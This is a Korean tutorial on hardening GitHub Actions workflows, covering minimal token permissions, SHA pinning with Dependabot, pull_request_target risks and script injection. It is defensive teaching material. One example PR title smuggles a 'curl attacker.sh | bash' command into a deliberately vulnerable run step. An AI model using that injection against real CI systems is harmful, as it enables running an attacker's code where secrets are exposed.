GitHub Actions 강좌 #9 보안 강화: permissions 최소화, SHA 고정, pull_request_target

5 분 소요

워크플로는 저장소 쓰기 권한과 시크릿, 서드파티 코드가 한자리에 모이는 곳이라, CI가 뚫리면 코드 저장소와 배포 대상이 함께 뚫립니다. 실제 공급망 공격의 단골 경로이기도 합니다. 이번 편은 시리즈 곳곳에서 “이유는 #9에서"라고 미뤄 둔 내용을 한꺼번에 다룹니다. 권한, 서드파티 액션, 그리고 신뢰할 수 없는 입력이라는 세 방향의 방어를 순서대로 세웁니다.

permissions: 토큰 권한은 기본 읽기, 필요할 때만 쓰기 #

#3의 GITHUB_TOKEN은 편리하지만, 기본 권한이 넉넉한 채로 모든 워크플로에 발급되면 그만큼이 공격자의 전리품이 됩니다. 방어의 첫 단추는 두 층입니다.

  1. 저장소·조직 설정에서 기본 권한을 읽기 전용으로: Settings의 Actions 메뉴에서 Workflow permissions를 Read repository contents로 내립니다. 이것이 조직의 안전 기본값이 됩니다.
  2. 쓰기가 필요한 워크플로만 명시 선언: #6의 packages: write, #7의 id-token: write처럼, 필요한 권한을 필요한 잡에만 엽니다.
.github/workflows/release.yml
permissions:
  contents: read       # 명시 선언하면 나머지는 전부 none이 됩니다

jobs:
  release:
    permissions:
      contents: write  # 릴리스 생성이 필요한 이 잡만 쓰기

주의점은 #7에서 만난 그대로입니다. permissions를 하나라도 명시하면 나열하지 않은 권한은 전부 none이 되므로, 선언은 “필요한 것 전부를 정확히"가 원칙입니다.

서드파티 액션: 태그는 움직입니다 #

uses: some-org/some-action@v3의 v3는 브랜치·태그 참조라서, 액션 제작자(또는 제작자의 계정을 탈취한 공격자)가 같은 태그를 다른 코드로 옮길 수 있습니다. 어제의 v3와 오늘의 v3가 다른 코드일 수 있다는 뜻이고, 실제 공급망 사고들이 이 경로로 일어났습니다. 방어는 커밋 SHA 고정입니다.

SHA 고정
      # 태그 참조: 편하지만 가변
      - uses: some-org/some-action@v3

      # SHA 고정: 불변. 주석으로 사람용 버전 표기
      - uses: some-org/some-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v3.6.0

SHA는 불변이므로 검토한 그 코드가 영원히 그 코드입니다. 대신 업데이트를 손으로 쫓아가기 어려워지는데, 그 짝이 Dependabot입니다. 저장소에 설정 파일 하나를 두면 액션의 새 버전이 나올 때 SHA를 갱신하는 PR을 자동으로 올려 줍니다.

.github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

정리하면 SHA로 고정하고 Dependabot으로 올린다가 서드파티 액션 관리의 현행 표준입니다. actions/로 시작하는 GitHub 공식 액션은 태그 참조를 허용하는 팀도 많지만, 기준을 하나로 통일하는 쪽이 리뷰가 단순해집니다.

pull_request_target: 이름이 비슷한 함정 #

포크 PR에도 시크릿이 필요한 자동화(라벨 부여, PR 코멘트)를 만들다 보면 pull_request_target 이벤트를 만나게 됩니다. pull_request와 한 글자 차이지만 신뢰 모델이 정반대입니다.

  • pull_request: 포크 PR에서는 시크릿이 없고 토큰이 읽기 전용인, 낮은 신뢰의 실행입니다. 그래서 안전합니다.
  • pull_request_target: 베이스 저장소의 문맥으로 실행되어 시크릿과 쓰기 토큰이 살아 있습니다. 대신 기본 checkout도 베이스 브랜치의 코드입니다.

함정은 이 조합입니다. pull_request_target 워크플로에서 PR 쪽 코드를 checkout 해서 실행(빌드, 테스트, 스크립트)하면, 낯선 사람의 코드가 시크릿이 살아 있는 환경에서 돌게 됩니다. 시크릿 탈취 사고의 교과서적 경로입니다. 원칙은 단순하게 유지합니다. pull_request_target에서는 PR의 코드를 실행하지 않는다. 라벨·코멘트처럼 코드 실행이 필요 없는 일에만 쓰고, 포크 코드를 실행해야 하는 검증은 시크릿 없는 pull_request로 돌립니다.

스크립트 인젝션: 제목도 입력값입니다 #

#2에서 “외부 값은 env를 거쳐라"라고 한 이유를 갚을 차례입니다. PR 제목, 브랜치명, 이슈 본문은 외부인이 정할 수 있는 값인데, 이것을 run 스크립트에 직접 보간하면 이렇게 됩니다.

취약한 예
      # 취약: 제목이 셸에 그대로 박음질됩니다
      - run: echo "PR 제목: ${{ github.event.pull_request.title }}"

제목을 "; curl attacker.sh | bash; echo "로 지은 PR이 오면 그 명령이 러너에서 실행됩니다. 표현식 보간은 셸이 해석하기 전의 문자열 치환이기 때문입니다. 방어는 env 경유입니다.

안전한 예
      # 안전: 환경 변수로 받으면 셸이 값으로만 다룹니다
      - run: echo "PR 제목: $PR_TITLE"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}

환경 변수의 값은 셸 문법으로 재해석되지 않으므로 어떤 제목이 와도 문자열일 뿐입니다. “외부에서 온 값을 run에 직접 ${{ }}로 넣지 않는다"를 리뷰 체크리스트에 넣어 두면, 이 계열의 취약점은 구조적으로 사라집니다.

정리 #

이번 글에서 다룬 내용입니다.

  • GITHUB_TOKEN은 저장소 설정에서 기본 읽기로 내리고, 쓰기는 필요한 잡에만 명시합니다. 명시하면 나머지는 none이 됩니다
  • 액션의 태그는 가변입니다. 커밋 SHA로 고정하고 Dependabot이 갱신 PR을 올리게 하는 조합이 표준입니다
  • pull_request_target은 시크릿이 살아 있는 실행입니다. 그 안에서 PR 코드를 실행하지 않는 것이 원칙입니다
  • PR 제목·브랜치명 같은 외부 값을 run에 직접 보간하면 스크립트 인젝션입니다. 반드시 env를 거쳐 셸 변수로 읽습니다
  • 셀프호스티드 러너를 퍼블릭 저장소에 안 쓰는 지난 편의 원칙까지 합치면, 신뢰할 수 없는 코드·입력과 시크릿을 격리한다는 하나의 문장이 됩니다

다음 글(#10 운영 패턴)은 시리즈의 마지막 편입니다. 모노레포의 경로 필터, concurrency, 디버깅 도구, 비용 점검까지 일상 운영의 패턴을 모아 정리하겠습니다.

X